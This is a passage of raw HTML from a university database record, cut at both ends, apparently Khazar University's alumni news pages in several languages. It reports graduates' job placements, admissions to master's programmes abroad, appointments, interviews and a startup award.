company&nbsp;</strong></p><p><br></p><p><br></p><p><br></p><p><br></p><p><strong><img src=\"/files/engineering/images/sanar_g.jpg\" style=\"border:0px  #000000;float:left;width:150px;height:175px;margin:7px\">Sanar Gasimov</strong></p><p>Specialty of Computer Engineering (4<sup>th</sup> year)</p><p><strong>\"Aztelecom\" LLC</strong><br></p><p><br></p><p><br></p><p><br></p>\r\n<p><strong>Milada Aliosmanova</strong><strong><img src=\"http://www.khazar.org/files/engineering/images/milada_a.jpg\" style=\"float:left;width:150px;height:185px;margin:7px\"></strong></p><p>Specialty of Computer Engineering (4<sup>th</sup>&nbsp;year)</p><p><strong>\"Aztelecom\" LLC</strong></p>  <p><strong><br></strong></p><p><strong><br></strong></p>\r\n<p><br></p><p><img src=\"http://www.khazar.org/files/engineering/images/alish_i.jpg\" style=\"float:left;width:150px;height:258px;margin:7px\"><strong>Alish Ismayilzadeh</strong></p><p>Specialty of Mechanical Engineering (4<sup>th</sup> year)</p><p><strong>\"STP\" LLC </strong> <br></p><p><strong><br></strong></p><p><strong><br></strong></p><p><strong><br></strong></p><p><strong><br></strong></p><p><strong><br></strong></p><p><strong><br></strong></p><p><strong><img src=\"/files/engineering/images/fidan_r.jpg\" style=\"float:left;width:150px;height:150px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Fidan Rüstəmova</strong></p><p>Specialty of Chemical Engineering</p><p><strong>Princeps Legem LLC</strong></p><p><strong><br></strong></p><p><strong><br></strong></p><p><br></p>  \r\n<h3>Khazar University graduate has won the marathon conducted in Georgia  </h3>\r\n<p><img src=\"/files/alumni/images/aygul.jpg\" style=\"border:0px #000000;width:250px;height:161px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\">On August 20, 2018, aznews.az, the news portal, released the news that Aygul Isayeva, &nbsp;a &nbsp;graduate and former employee of Khazar University, succeeded in the marathon \"Wings for Life - World Run\" conducted in Georgia and Fuad Muradov, Chairman of the State Committee for Work with Diasporas of the Republic of Azerbaijan, sent her a congratulatory letter in this regard. </p><p>According to the report, Aygul Isayeva took the 3<sup>rd </sup>place among women, having run 21.1 km distance for 1 hour 56 minutes, participating in a half - marathon which was attended &nbsp;by professionals and conducted in Kvareli on June 17, 2018. Having set great goals, our compatriot has also successfully completed the full marathon (42 km) in the Kazbeki Mountains in Georgia.</p><p>The full text of the news is available at:</p><p><a href=\"http://www.aznews.az/news/cemiyyet/182561.html#Kalibri\">http://www.aznews.az/news/cemiyyet/182561.html#Kalibri</a><br></p><p><br></p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><h3>Khazar University graduate gives an interview  </h3><p><img src=\"/files/letters/khayala_e.jpg\" style=\"border:0px #000000;float:left;width:250px;height:250px;margin-left:7px;margin-right:7px;margin-bottom:7px\">On June 8, 2018,&nbsp;<strong><em>Banker.az</em></strong>&nbsp;website posted an interview with Khayala Eyvazova, a graduate of Khazar University, INSEAD and Cambridge University who has worked for Microsoft, BP and PwC London.</p><p>The interview can be read through the link below:</p><p><a href=\"http://banker.az/həyat-və-karyeranizda-bir-secim-etdikdə-elə-bir-secim-edin-ki-sizə-butun-qapilari-aca-bilsin/\">http://banker.az/həyat-və-karyeranizda-bir-secim-etdikdə-elə-bir-secim-edin-ki-sizə-butun-qapilari-aca-bilsin/</a>.</p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><h3>Website of “Kaspi” newspaper posts an interview with a Khazar University graduate    <br></h3><p><img src=\"/files/letters/reshad_i.gif\" style=\"width:250px;height:197px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\">On June 1, 2018, the website of “Kaspi” newspaper, a daily public and political publication, posted an interview with headline “Personal features and achievements lead to success” which was given by Rashad Ibadov, a Khazar University graduate and head instructor at Institute of Public and International Relations of ADA University. The interview was taken by Aygun Aziz and posted in the rubric “Success Story”. The interview is available at:</p><p><a href=\"http://kaspi.az/az/uuru-sexsi-keyfiyyetler-ve-qazandiin-nailiyyetler-getirir-uur-hekayesi/#Kalibri\">http://kaspi.az/az/uuru-sexsi-keyfiyyetler-ve-qazandiin-nailiyyetler-getirir-uur-hekayesi/#Kalibri</a></p><p><br></p><p><br></p><p><br></p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><h3>Khazar University graduate is appointed as Rector of Azerbaijan Institute of Theology  </h3><p><img src=\"/files/letters/c_memmedov.jpg\" style=\"border:0px #000000;float:left;margin-left:7px;margin-right:7px;margin-bottom:7px;width:280px;height:140px\">According to the Order, dated May 31, 2018, by Ilham Aliyev, the President of the Republic of Azerbaijan, Jeyhun Mammadov has been appointed as Rector of the newly founded Azerbaijan Institute of Theology.</p><p>J.Mammadov studied in Dawat and Irshad Institute of Syria in 1991-1994. He also got a Bachelor’s degree in Arabic Language and Religious studies from Libyan Arab Socialist People\'s Jamahiriya University in 1994-1998. J.Mammadov studied at Khazar University in 2000-2002 for a Master’s degree.</p><p>J.Mammadov has a PhD degree in Theology and works as an instructor at Azerbaijan University of Languages. He is the author of one book and twenty scientific articles.</p><p>He worked in various departments at State Committee for Work with Religious Organizations of the Republic of Azerbaijan in 2001-2014. He also worked as a senior advisor at the Department of International Relations, Multiculturalism and Religious Affairs of the Presidential Administration.</p><p>Links for further information:</p>  <p><a href=\"http://qafqazinfo.az/news/detail/prezidentin-vezife-verdiyi-yeni-rektor-kimdir-220665\">http://qafqazinfo.az/news/detail/prezidentin-vezife-verdiyi-yeni-rektor-kimdir-220665</a></p><p><a href=\"http://tehsil-press.az/index.php?newsid=29943#Kalibri\">http://tehsil-press.az/index.php?newsid=29943#Kalibri</a></p>  <p><br></p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><h3>Khazar University graduate appointed Vice-rector</h3><p><img src=\"/files/letters/anar_r.jpg\" style=\"border:0px  #000000;width:280px;height:186px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\">According to media, by the order of the Ministry of Education, Jeyhun Bayramov, Anar Yashar oghlu Rzayev, a Khazar University graduate, has been appointed as a Vice-rector on International Relations and Programs of UNEC (Azerbaijan State University of Economics).</p><p>Further information is available at:</p><p><a href=\"https://report.az/en/education-and-science/new-pro-rector-of-unec-appointed/\">https://report.az/en/education-and-science/new-pro-rector-of-unec-appointed/</a></p><p><a href=\"http://www.abc.az/en/news/9692\">http://www.abc.az/en/news/9692</a></p><p><a href=\"http://demokratikmusavat.com/article/en/62614-New+appointment+at+UNEC.html\">http://demokratikmusavat.com/article/en/62614-New+appointment+at+UNEC.html</a></p><p><a href=\"https://en.trend.az/azerbaijan/society/2904042.html\">https://en.trend.az/azerbaijan/society/2904042.html</a></p><p><br></p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><h3>ABB-nin departament rəhbəri yeni ekspert qrupuna rəhbərlik edəcək&nbsp;</h3><p><img src=\"/files/letters/abb.jpg\" style=\"float:left;width:300px;height:200px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Azərbaycan Banklar Assosiasiyasının (ABA) nəzdində yaradılacaq “Ticarətin və layihələrin maliyyələşdirilməsi üzrə” yeni Ekspert Qrupunun formalaşdırılması üzrə iclas keçirilib.&nbsp;</p><p>ABA-dan \"APA-Economics\"ə verilən məlumata görə, iclasda Ekspert Qrupunun&nbsp;fəaliyyətinin əhatə edəcəyi sahələr, qarşısında duran məsələlər və onların həlli imkanlarından danışılıb.&nbsp;</p><p>Qrupun fəaliyyəti əsasən aşağıdakı istiqamətləri əhatə edəcək:</p><p>– Azərbaycan Respublikasının qanunvericiliyinin akkreditiv, qarantiyaların, inkasso və sair sənədli əməliyyatların beynəlxalq qanunvericiliyin tələblərinə uyğunluğunun təhlil edilməsi;</p><p>– sözügedən bank məhsullarının təqdim edilməsində qarşıya çıxan və potensial problemlərin müzakirəsi;</p><p>&nbsp;– Qeyd olunan sahədə beynəlxalq standartların tətbiq edilməsi imkanlarının araşdırılması və ölkədə bank fəaliyyətinin tənzimlənməsini həyata keçirən orqanlar tərəfindən normativ aktlarda dəyişikliklərin aparılması zamanı müvafiq təkliflərin verilməsi;&nbsp;</p><p>– xarici banklarla əlaqələrin qurulması və genişləndirilməsi perspektivlərinin nəzərdən keçirilməsi;&nbsp;</p><p>– ixrac kredit agentlikləri və digər xarici maliyyə institutları vasitəsilə Azərbaycanda irimiqyaslı, uzunmuddətli layihələrin maliyyələşdirilməsi sahəsində imkanların araşdırılması, yerli və xarici banklarla təcrübə mübadiləsi, bu istiqamətlərdə aparılan gündəlik əməliyyatlarda qarşıya çıxan problemlərə dair müzakirələrin aparılması və məqsədəuyğun tövsiyələrin verilməsi kimi məsələləri əhatə edəcəyi bildirilib.&nbsp;</p><p>İclasın sonunda “Ticarətin və layihələrin maliyyələşdirilməsi üzrə” yeni Ekspert Qrupunun yaradılması zərurəti və Qrupa sədr qismində “<a href=\"http://apa.az/tag/Az%C9%99rbaycan-Beyn%C9%99lxalq-Bank%C4%B1\">Azərbaycan Beynəlxalq Bankı</a>” ASC-nin Korporativ biznes departamentinin direktoru – Yasin Cəlilovun namizədliyinin Azərbaycan Banklar Assosiasiyasının Rəyasət Heyətinə təklif edilməsi qərara alınıb.&nbsp;</p><p>Qeyd edək ki, Yasin Cəlilov “Xəzər” Universitetində beynəlxalq iqtisadi əlaqələr və Bakı Sosial İdarəetmə və Politologiya İnstitutunda politoloq ixtisasları üzrə bakalavr, Azərbaycan Dövlət neft Akademiyasında isə iqtisadiyyat və menecment ixtisası üzrə magistr dərəcəsinə yiyələnib. Həmçinin 2015-2018-ci illərdə Böyük Britaniyanın “Warwick Business School” ali məktəbində MBA dərəcəsi üzrə təhsilini davam etdirib.&nbsp;</p><p>Yasin Cəlilov peşəkar fəaliyyətinə 1996-cı ildən&nbsp;<a href=\"http://apa.az/tag/Az%C9%99rbaycan-Beyn%C9%99lxalq-Bank%C4%B1\">Azərbaycan beynəlxalq bankı</a>nın Sənədli əməliyyatlar şöbəsində aparıcı mütəxəssis kimi başlayıb. O, qazandığı təcrübə sayəsində 2006-cı ildə daha məsul vəzifəyə təyin olunmaqla fəaliyyətini Korporativ biznes departamentinin direktor müavini – Ticarətin və layihələrin maliyyələşdirilməsi şöbəsinin müdiri kimi davam etdirib. 2011-ci ildən hal-hazıradək Korporativ biznes departamentinin direktoru vəzifəsində çalışır. Y.Cəlilov sənədli əməliyyatlar sahəsində 22 illik təcrübəyə malikdir və qazandığı təcrübə sayəsində bir çox ölkə daxili və xarici ticarət layihələrinin maliyyələşdirilməsində yaxından iştirak etməklə öz töhfəsini verib.&nbsp;</p><p>Qeyd edək ki, ABA 1990-cı ildə kommersiya bankları tərəfindən təsis edilib. ABA-nın əsas məqsədi üzv təşkilatların maraqlarını qorumaq, onların müxtəlif növ işgüzar xidmətlərə olan ehtiyaclarının ödənilməsinə yardım göstərmək və fəaliyyətlərini əlaqələndirməkdən ibarətdir. Hazırda 29 bank və 3 qeyri-bank təşkilatı ABA-nın üzvüdür.</p><p><br></p><p><br></p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><br><h3><strong>Khazar University graduate gives an interview to a news portal  <br></strong></h3><p><strong><em>Banko.az</em></strong>&nbsp;news portal posted an interview with Barat Alizadeh, a graduate of Khazar University, the Faculty of Education, under the&nbsp;headline “A young businessman: “Now, like all successful people, I am a slave of my habits!” on February 19, 2018.</p><p>A link for a full interview:</p><p><a href=\"http://banco.az/az/news/genc-biznesmen-indi-ise-butun-boyuk-adamlar-kimi-verdislerimin-quluyam\">http://banco.az/az/news/genc-biznesmen-indi-ise-butun-boyuk-adamlar-kimi-verdislerimin-quluyam</a>.</p>  <hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p><br></p><h3>Graduate of Khazar University was selected Head Secretary of AGF&nbsp;</h3><p>As reported, Nurlana Mammadzada who got her Master’s Degree in English Language and Literature at Khazar University&nbsp;was selected to Head Secretary position of Azerbaijan Gymnastic Federation.</p><p>Let’s mention that N.Mammadzada worked as a Head Secretary’s assistant in 2007-2009, and from 2009 to present she worked as a vice (assistant, deputy) of federation.</p><p>You can get more information through these links:</p><p><a href=\"https://milletinsesi.info/index.php?view=article&amp;id=36208&amp;dil=az;\">https://milletinsesi.info/index.php?view=article&amp;id=36208&amp;dil=az;</a></p><p><a href=\"http://www.xezerxeber.az/idman/186069.html\">http://www.xezerxeber.az/idman/186069.html</a>;</p><p><a href=\"http://qlobal.az/mehriban-eliyevanin-rehberlik-etdiyi-qurumda-kadr-teyinati/\">http://qlobal.az/mehriban-eliyevanin-rehberlik-etdiyi-qurumda-kadr-teyinati/</a>;</p><p><a href=\"http://www.dosye.org/ust-khaebaer-lenti/34576-mehriban-%C9%99liyevan%C4%B1n-r%C9%99hb%C9%99rlik-etdiyi-qurumda-kadr-t%C9%99yinat%C4%B1.html\">http://www.dosye.org/ust-khaebaer-lenti/34576-mehriban-əliyevanın-rəhbərlik-etdiyi-qurumda-kadr-təyinatı.html</a>;</p><p><a href=\"http://istiqlal.az/news/46022.html\">http://istiqlal.az/news/46022.html</a>;</p><p><a href=\"http://www.1news.az/az/news/azerbaycan-gimnastika-federasiyasina-yeni-bas-katib-teyin-edilib\">http://www.1news.az/az/news/azerbaycan-gimnastika-federasiyasina-yeni-bas-katib-teyin-edilib</a>;</p><p><a href=\"http://youthportal.az/az/news/detail.php?ID=119209\">http://youthportal.az/az/news/detail.php?ID=119209</a>;</p><p><a href=\"http://kaspi.az/az/azerbaycan-gimnastika-federasiyasina-yeni-bas-katib-secilib\">http://kaspi.az/az/azerbaycan-gimnastika-federasiyasina-yeni-bas-katib-secilib</a>;</p><p><a href=\"http://www.aznews.az/news/cemiyyet/159016.html;%0dhttps:/millixeber.az/agf-%C9%99-yeni-bas-katib-t%C9%99yin-edildi/;%0dhttp:/yenixeber.org/43124-agf-e-yeni-prezident-sechildi.html.\">http://www.aznews.az/news/cemiyyet/159016.html;</a></p><p><a href=\"http://www.aznews.az/news/cemiyyet/159016.html;%0dhttps:/millixeber.az/agf-%C9%99-yeni-bas-katib-t%C9%99yin-edildi/;%0dhttp:/yenixeber.org/43124-agf-e-yeni-prezident-sechildi.html.\">https://millixeber.az/agf-ə-yeni-bas-katib-təyin-edildi/;</a></p><p><a href=\"http://www.aznews.az/news/cemiyyet/159016.html;%0dhttps:/millixeber.az/agf-%C9%99-yeni-bas-katib-t%C9%99yin-edildi/;%0dhttp:/yenixeber.org/43124-agf-e-yeni-prezident-sechildi.html.\"></a><a href=\"http://www.aznews.az/news/cemiyyet/159016.html;%0dhttps:/millixeber.az/agf-%C9%99-yeni-bas-katib-t%C9%99yin-edildi/;%0dhttp:/yenixeber.org/43124-agf-e-yeni-prezident-sechildi.html.\">http://yenixeber.org/43124-agf-e-yeni-prezident-sechildi.html.</a></p>  <p><span style=\"color:#336699\"><strong><br></strong></span></p><p><span style=\"color:#336699\"><strong></strong></span></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><strong><br></strong><br><p><span style=\"color:#336699\"><strong>New CEO of Caspian European Club announced</strong></span></p><p><img src=\"/files/letters/829096.jpg\" style=\"width:250px;height:154px;margin:7px;float:left\">Mustafa Abbasbeyli has been appointed as a new Chief Executive Officer of the Caspian European Club. First Deputy Chairman of the Caspian European Club and Caspian American Club Telman Aliyev said.</p><p>Telman Aliyev noted that Mustafa Abbasbeyli had headed the Legal Committee and the Committee for Customs and Taxes of the Caspian European Club for a long period.</p><p>“He was actively involved in the research of the business problems as well as in making all suggestions that we forwarded to the President of the Republic of Azerbaijan, Chairman of the Caspian European Club and Caspian American Club Ilham Aliyev and the First Vice-President of the Azerbaijan Republic Mehriban Aliyeva”, Telman Aliyev said.</p><p>Mustafa Aslan oglu Abbasbeyli was born in 1980 in the city of Ganja. He graduated from Khazar University in 2000 and majored in the International Law. In 2001 he graduated from the Aegean University and majored in the Turkish language. In 2003 he graduated from Ankara University and majored in Private Law. In 2009 he defended his thesis in the Azerbaijan National Academy of Science and got a doctorate degree in law.</p><p>He held executive positions in many companies in the financial sector. At the moment he is heading Beyli Group. He also holds the position of the Associate Professor at the Azerbaijan State Economic University. He is the member of the College of Lawyers of the Republic of Azerbaijan and the member of the International Association of Lawyers. He is the author of more than 50 scientific works, including 3 books.</p><p>The Caspian European Club was established in June 2002 with the support of the largest oil and gas companies operating in the Caspian-Black Sea region. His Excellency President of the Republic of Azerbaijan Ilham Aliyev is the Chairman of the Caspian European Club and Caspian American Club.</p><p>Since the very establishing the Caspian European Club has promoted attraction of revenues from the oil industry for the development of the non-oil sector. Caspian European Club, which brings together more than 5,000 member companies and organizations, operates in 50 countries around the world and is active in supporting the dialogue between the government agencies and the private sector.</p>  <strong style=\"color:#336699\"><br></strong><strong style=\"color:#336699\">Khazar\r\nUniversity alumnus is the co-author of one of best technologies developed at\r\nCambridge Business School</strong><br><p><strong style=\"color:#336699\"></strong><strong></strong>Высокотехнологичный браслет для людей, страдающих эпилепсией, был признан лучшим стартапом выпускниц программы Executive MBA Кембриджской бизнес-школы - Анджелы Сингл из Британии и Хаялы Эйлазовой из Азербайджана.<img src=\"/files/alumni/keyale.jpg\" style=\"width:150px;height:112px;margin:7px;float:right\">Браслет, изобретенный ими, позволяет посредством беспроводных технологий известить близких о том, что с владельцем браслета случился эпилептический припадок, говорится на сайте бизнес-школы.&nbsp;Идея Анджелы Сингл и Хаялы Эйлазовой заключалась не только в создании браслета, но и в распространении этого изобретения в странах со средним и низким уровнем дохода, так как именно там, по статистике, проживают 80% людей, страдающих эпилепсией.&nbsp;По данным Всемирной организации здравоохранения (ВОЗ), несмотря на высокий уровень распространения эпилепсии, в регионах мира с низким уровнем дохода не обеспечена медицинская помощь больным на должном уровне. Более того, сильная стигма со стороны общества еще более осложняет их положение.&nbsp;Разработка Анджелы и Хаялы носит название «Изобретение для страдающих эпилепсией людей – Поддержка семьям» и была представлена в декабре прошлого года на мероприятии в Кембриджской бизнес-школе, посвященном презентации различных изобретений в сфере технологий и инноваций.Все представленные разработки получают оценку и советы от группы известных инвесторов, предпринимателей и экспертов в области бизнеса.«Мероприятие Venture Creation Weekend предоставляет неоценимую возможность для предпринимателей протестировать свои идеи в атмосфере всеобщей поддержки. Это позволяет участникам научиться новому, получить совет от тех, кто уже был на их месте, чтобы отточить свою бизнес-концепцию», - говорит&nbsp;<em>Шон Грейди</em>, вице-президент компании «АстраЗенека» по стратегическим партнерствам и развитию бизнеса.Хаяла Эйлазова – менеджер по развитию бизнеса и стратегии в компании Microsoft, а также основатель инициативы «Вдохновляющие технологии в здравоохранении», которая сфокусирована на помощи детям, страдающим эпилепсией.  Свое видение нового изобретения она описывает как попытку «сделать мир лучше для людей, страдающих эпилепсией, помочь им почувствовать себя в безопасности и под защитой».Хаяла родилась и выросла в Баку, но всю взрослую жизнь жила и работала в самых разных странах – Норвегии, Китае, России, Ирландии. В настоящее время живет в Лондоне. Среди своих любимых занятий она называет любовь к путешествиям, изучение новых языков и культур, создание новых идей и знакомство с новыми людьми.В компании Microsoft Хаяла Эйлазова работает с 2008 года, после того как окончила бизнес-школу в Норвегии. Недавно она стала выпускницей и Кембриджской бизнес-школы. Годы работы в Microsoft дали Хаяле опыт в таких областях, как развитие облачного б</p>'),(2463,1490,'az','Məzunlarla bağlı yazılar','Məzunlarla bağlı yazılar','<h3>Xəzər Universitetinin məzununun müsahibəsi yayınlandı<br></h3><p><span style=\"font-weight:normal\">2018-ci il oktyabrın 30-da “Palitra” qəzetinin rəsmi saytında Xəzər Universitetinin məzunu, hazırda İtaliyada PhD təhsili alan Emin Rüstəmovla müsahibə yayınlanmışdır.</span></p><p><span style=\"font-weight:normal\">Müsahibəni bu link vasitəsilə oxumaq olar:</span></p><p><span style=\"font-weight:normal\"><a href=\"http://palitranews.az/news.php?id=94360\">http://palitranews.az/news.php?id=94360</a>.</span></p>\r\n<hr>\r\n<h3>Mühəndislik və Tətbiqi Elmlər fakültəsinin məzunları dünyanın nüfuzlu universitetlərində təhsillərini davam etdirəcəklər</h3>\r\n<p>Xəzər Universitetinin Mühəndislik və Tətbiqi Elmlər fakültəsindən 2017/2018-ci tədris ilində məzun olmuş tələbələrin bir qismi təqaüdlü və təqaüdsüz təhsil proqramları ilə dünyanın müxtəlif ali təhsil müəssisələrinin magistratura pilləsinə qəbul olunmuşlar.&nbsp;</p><p>Həmin tələbələri təqdim edirik:<br></p><p><strong><img src=\"/files/engineering/images/narmin_s.jpg\" style=\"float:left;width:150px;height:156px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Nərmin Səlimova</strong></p><p><strong></strong><strong>Universitet:&nbsp;</strong>Grenoble Alpes Universiteti, Fransa</p><p><strong>İxtisas</strong>: Kimya Mühəndisliyi (Nanoelm və Nanotexnologiyalar)  </p><p><strong>Təqaüdlü təhsil</strong></p><p><strong><br></strong></p><p><br></p><p><strong><img src=\"/files/engineering/images/nazrin_ba.jpg\" style=\"float:left;width:150px;height:205px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Nəzrin Babaşova</strong></p><p><strong>Universitet:&nbsp;</strong>Linnaeus Universiteti, İsveç</p><p><strong>İxtisas</strong>:&nbsp;Kimya Mühəndisliyi (Davamlı Enerji Prosesləri)</p><p><strong></strong><strong>Təqaüdlü təhsil</strong><br></p><p><br></p><p><br></p><p><br></p><p><strong><img src=\"http://www.khazar.org/files/engineering/images/tarlan_h.jpg\" style=\"float:left;margin-left:7px;margin-right:7px;margin-bottom:7px;width:150px;height:148px\">Tərlan Həsənli</strong></p><p><strong>Universitet:&nbsp;</strong>Tartu Universiteti, Estoniya</p><p><strong>İxtisas:</strong>  Kompüter Mühəndisliyi</p><p><strong><strong>Təqaüdlü təhsil</strong></strong></p><p><strong><strong><br></strong></strong></p><p><br></p><p><strong><img src=\"http://www.khazar.org/files/engineering/images/latif_g.jpg\" style=\"float:left;width:150px;height:182px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Lətif Quliyev</strong></p><p><strong>Universitet:&nbsp;</strong>Eötvös Loránd Universiteti&nbsp;(ELTE), Macarıstan</p><p><strong>İxtisas</strong>:&nbsp;Kompüter Elmləri</p><p><strong><strong>Təqaüdlü təhsil</strong></strong></p><p><br></p><p><br></p><p><strong><img src=\"/files/engineering/images/lamiye_m.jpg\" style=\"float:left;width:150px;height:200px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Lamiyə Məmmədova</strong></p><p><strong style=\"font-weight:bold\">Universitet:</strong>&nbsp;City University of London, Böyük Britaniya<br></p><p><strong>İxtisas:</strong>&nbsp;Kompüter Mühəndisliyi (Cyber Security)  </p><p><strong>Təqaüdlü təhsil</strong></p><p><br></p><p><br></p><p><br></p><p><strong><img src=\"/files/engineering/images/adil_b.jpg\" style=\"float:left;width:150px;height:192px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Adil Babayev</strong></p><p><strong></strong><strong>Universitet:</strong>&nbsp;Budapest University of Technology and Economics, Macarıstan</p><p><strong>İxtisas:</strong>&nbsp;Elektronika (Transportation Engineering)  </p><p><strong>Təqaüdlü təhsil</strong></p>  <p><strong><br></strong></p><p><br></p><p><strong>Beydulla Zeynalov</strong><strong><img src=\"http://www.khazar.org/files/engineering/images/beydulla_z.jpg\" style=\"float:left;width:150px;height:200px;margin-left:7px;margin-right:7px;margin-bottom:7px\"></strong></p><p><strong>Universitet</strong>:&nbsp;Óbuda Universiteti, Macarıstan</p><p><strong></strong><strong>İxtisas:</strong>&nbsp;Kompüter Mühəndisliyi  </p><p><strong>Təqaüdlü təhsil</strong></p><p><strong><br></strong></p><p><strong><br></strong></p><p><br></p><p><strong>S<img src=\"http://www.khazar.org/files/engineering/images/sultan_i.jpg\" style=\"float:left;width:150px;height:208px;margin-left:7px;margin-right:7px;margin-bottom:7px\">ultan İsmayılov</strong></p><p><strong></strong><strong>Universitet</strong>: Ruhr University Bochum,&nbsp;Almaniya</p><p><strong>İxtisas</strong>: İnşaat Mühəndisliyi (Hesablama Mühəndisliyi)</p><p><br></p><p><br></p><p><br></p><p><br></p><p><strong><img src=\"/files/engineering/images/nijat_a.jpg\" style=\"float:left;width:150px;height:189px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Nicat Əliyev</strong></p><p><strong>Universitet:&nbsp;</strong>Opole Universiteti, Polşa<br></p><p><strong>İxtisas:&nbsp;</strong>İnşaat Mühəndisliyi (Construction Management)  </p><p><strong>Təqaüdlü təhsil</strong><strong></strong></p><p><strong><br></strong></p><p><strong><br></strong></p><p><strong><br></strong></p><p><strong><img src=\"http://www.khazar.org/files/engineering/images/arsham_s.jpg\" style=\"float:left;margin-left:7px;margin-right:7px;margin-bottom:7px;width:150px;height:227px\">Arsham Sarshogh&nbsp;</strong></p><p><strong></strong><strong>Universitet</strong>:&nbsp;Alberta Universiteti, Kanada</p><p><strong></strong><strong>İxtisas:</strong>&nbsp;Kompüter Mühəndisliyi  </p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><h3>Mühəndislik və Tətbiqi Elmlər fakültəsinin məzun və tələbələri ölkənin nüfuzlu şirkətlərində işlə təmin olundular<strong></strong></h3>\r\n<p>Xəzər Universitetinin Mühəndislik və Tətbiqi Elmlər fakültəsinin 2016-cı və 2018-ci illərin məzunları “Schlumberger” şirkətində işə qəbul olunmuşlar. Həmçinin, Nəqliyyat, Rabitə və Yüksək Texnologiyalar Nazirliyi, “Aztelekom” MMC və “STP” (Sumqayıt Texnologiyalar Parkı) MMC-də “Yay təcrübə”sində olan tələbələrin bir qismi də proqramı uğurla başa çatdıraraq, işlə təmin olunmuşlar.&nbsp;</p><p>Həmin məzunları və tələbələri təqdim edirik:  <br></p><p><strong>Ələvəz Qədimov</strong><strong><img src=\"http://www.khazar.org/files/engineering/images/alavaz_g1.jpg\" style=\"border:0px  #000000;float:left;width:150px;height:241px;margin-right:7px;margin-left:7px\"></strong></p><p>Elektronika və telekommunikasiya mühəndisliyi ixtisası</p><p><strong>“Schlumberger” şirkəti </strong> <br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><img src=\"/files/engineering/images/alikram_h.jpg\" style=\"border:0px #000000;width:150px;height:202px;margin-bottom:3px;float:left;margin-left:7px;margin-right:7px\"><strong>Əlikram Həsənli</strong></p><p>Elektronika və telekommunikasiya mühəndisliyi ixtisası</p>  <p><strong>“Schlumberger” şirkəti  <br></strong></p><p><strong><br></strong></p><p><strong><br></strong></p><p><strong><br></strong></p><p><br></p><p><strong>Lalə Müslümzadə</strong><strong><img src=\"http://www.khazar.org/files/engineering/images/Lala_m.jpg\" style=\"border:0px #000000;vertical-align:baseline;margin-bottom:7px;width:150px;height:187px;margin-right:7px;float:left;margin-left:7px\"></strong></p><p>Kimya mühəndisliyi ixtisası</p><p><strong>“Schlumberger” şirkəti </strong> <br></p><p><br></p><p><br></p><p><br></p><p><strong><img src=\"/files/engineering/images/yusif_a.jpg\" style=\"border:0px  #000000;float:left;width:150px;height:189px;margin:4px 7px 7px\">Yusif Ələkbərli</strong></p><p>Neft-qaz mühəndisliyi ixtisası</p><p><strong>“Schlumberger” şirkəti</strong><br></p><p><strong><br></strong></p><p><strong><br></strong></p><p><strong><br></strong></p><p><br></p><p><img src=\"http://www.khazar.org/files/engineering/images/rashid_s.jpg\" style=\"border:0px #000000;vertical-align:baseline;width:150px;height:205px;margin-right:7px;float:left;margin-left:7px;margin-top:7px\"></p><p><strong>Rəşid Salmanov</strong></p><p>Neft-qaz mühəndisliyi ixtisası (2016-cı il məzunu)</p><p><strong>“Schlumberger” şirkəti </strong> <br></p><p><strong><br></strong></p><p><br></p><p><br></p><p><br></p><p style=\"font-weight:bold\"><img src=\"http://www.khazar.org/files/engineering/images/sanar_g.jpg\" style=\"border:0px #000000;float:left;width:150px;height:175px;margin:7px\">Sanar Qasımov</p><p>Kompüter mühəndisliyi ixtisası  (4-cü kurs)</p><p><strong>“Aztelekom” MMC</strong></p><p><strong><br></strong></p>  <p><br></p><p><br></p><p><strong>Milada Əliosmanova</strong><strong><img src=\"http://www.khazar.org/files/engineering/images/milada_a.jpg\" style=\"float:left;width:150px;height:185px;margin:7px\"></strong></p><p>Kompüter mühəndisliyi ixtisası  (4-cü kurs)</p><p><strong>“Aztelekom” MMC </strong>  <br></p><p><strong><br></strong></p><p><strong><br></strong></p><p><br></p><p><strong><img src=\"/files/engineering/images/alish_i.jpg\" style=\"border:0px  #000000;width:150px;height:258px;margin:7px;float:left\">Alış İsmayılzadə</strong></p><p>Mexanika mühəndisliyi ixtisası  (4-cü kurs)</p><p><strong>“STP” MMC  <br></strong></p><p><strong><br></strong></p><p><strong><br></strong></p><p><strong><br></strong></p><p><strong><br></strong></p><p><strong><br></strong></p><p><strong><br></strong></p><p><strong><img src=\"/files/engineering/images/fidan_r.jpg\" style=\"float:left;width:150px;height:150px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Fidan Rüstəmova</strong></p><p>Kimya mühəndisliyi ixtisası</p><p><strong>Princeps Legem MMC</strong></p><p><strong><br></strong></p><p><br></p><p><strong><br></strong></p>  \r\n<h3>Xəzər Universitetinin məzunu Gürcüstanda keçirilən marafonun qalibi olub</h3>\r\n<p><img src=\"/files/alumni/images/aygul.jpg\" style=\"border:0px #000000;width:250px;height:161px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\">2018-ci il avqustun 20-də <em>aznews.az</em> xəbər portalı Xəzər Universitetinin məzunu və keçmiş əməkdaşı Aygül İsayevanın Gürcüstanda keçirilmiş “Həyat üçün Qanadlar - Dünya Qaçışı” adlı marafonda uğur qazanması və bu münasibətlə Azərbaycan Respublikası Diasporlarla iş üzrə Dövlət Komitəsinin sədri Fuad Muradovun ona təbrik məktubu göndərməsi haqqında geniş xəbər dərc etmişdir.</p><p style=\"text-align:left\">Xəbərdə 